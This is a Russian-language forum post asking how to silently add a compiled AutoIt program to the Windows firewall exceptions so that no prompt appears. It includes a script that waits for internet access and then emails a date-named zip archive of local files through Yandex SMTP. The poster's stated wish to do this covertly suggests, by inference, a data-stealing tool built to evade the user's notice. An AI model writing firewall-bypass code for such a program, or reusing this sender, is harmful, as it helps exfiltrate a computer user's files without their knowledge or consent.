urrya
Новичок
- Сообщения
- 159
- Репутация
- 1
Доброго времени суток гос-да.
Собственно в названии темы и есть полный вопрос:
"Как добавить приложение в список исключений брандмауэра?"
Может быть с помощью какого то cmd или bat файла это легче сделать.
В общем есть примерно такой скрипт:
и при запуске его в скомпилированном exe файле выскакивает окно
брандмауэра, по этой причине и нужно скрыто добавить exe - шник в исключения брандмауэра.
Заранее спасибо всем кто поможет с примером кода на Autoit или bat - ника.

Собственно в названии темы и есть полный вопрос:
"Как добавить приложение в список исключений брандмауэра?"
Может быть с помощью какого то cmd или bat файла это легче сделать.
В общем есть примерно такой скрипт:
Код:
#include <Date.au3>
#include <ButtonConstants.au3>
#include <EditConstants.au3>
#include <GUIConstantsEx.au3>
#include <StaticConstants.au3>
#include <WindowsConstants.au3>
#include <DateTimeConstants.au3>
#Include <Array.au3>
Global $gg = _NowDate()
Global $DaytimsEmailTo = (@ScriptDir & '\Email\arhivs\' & _NowDate() & '.zip')
Global $email_from = '', $email_to = '', $password = ''
PingG()
Func PingG()
Sleep(1000)
$var = Ping("www.google.com",1000)
If $var Then
SendMeil()
Else
PingG()
EndIf
EndFunc
Func SendMeil()
$str = "http://schemas.microsoft.com/cdo/configuration/"
$hMAIL = ObjCreate ("CDO.Message")
With $hMAIL
.From = $email_from ;Имейла от кого ==============================================
.To = $email_to ;Имейла на кого ===============================================
.Subject = $gg ;=========================================
.TextBody = " !!! " ;Текст
.BodyPart.Charset = "UTF-8" ;кодировка "windows-1251"
.HTMLBody = "<b> !!! </b></br>" ;В HTML формат
.AddAttachment ($DaytimsEmailTo) ;Файл
Sleep(2000)
EndWith
With $hMAIL.Configuration.Fields
.Item ($str & "sendusing") = 2
.Item ($str & "smtpserver") = 'smtp.yandex.ru' ;smtp сервер
.Item ($str & "smtpauthenticate") = 1
.Item ($str & "sendusername") = $email_from
.Item ($str & "sendpassword") = $password ;Пароль
.Item ($str & "smtpusessl") = 1 ;TLS/SSL
.Item ($str & "smtpserverport") = 465 ;Порт
.Update
EndWith
$hMAIL.Send
EndFunc
и при запуске его в скомпилированном exe файле выскакивает окно
брандмауэра, по этой причине и нужно скрыто добавить exe - шник в исключения брандмауэра.
Заранее спасибо всем кто поможет с примером кода на Autoit или bat - ника.

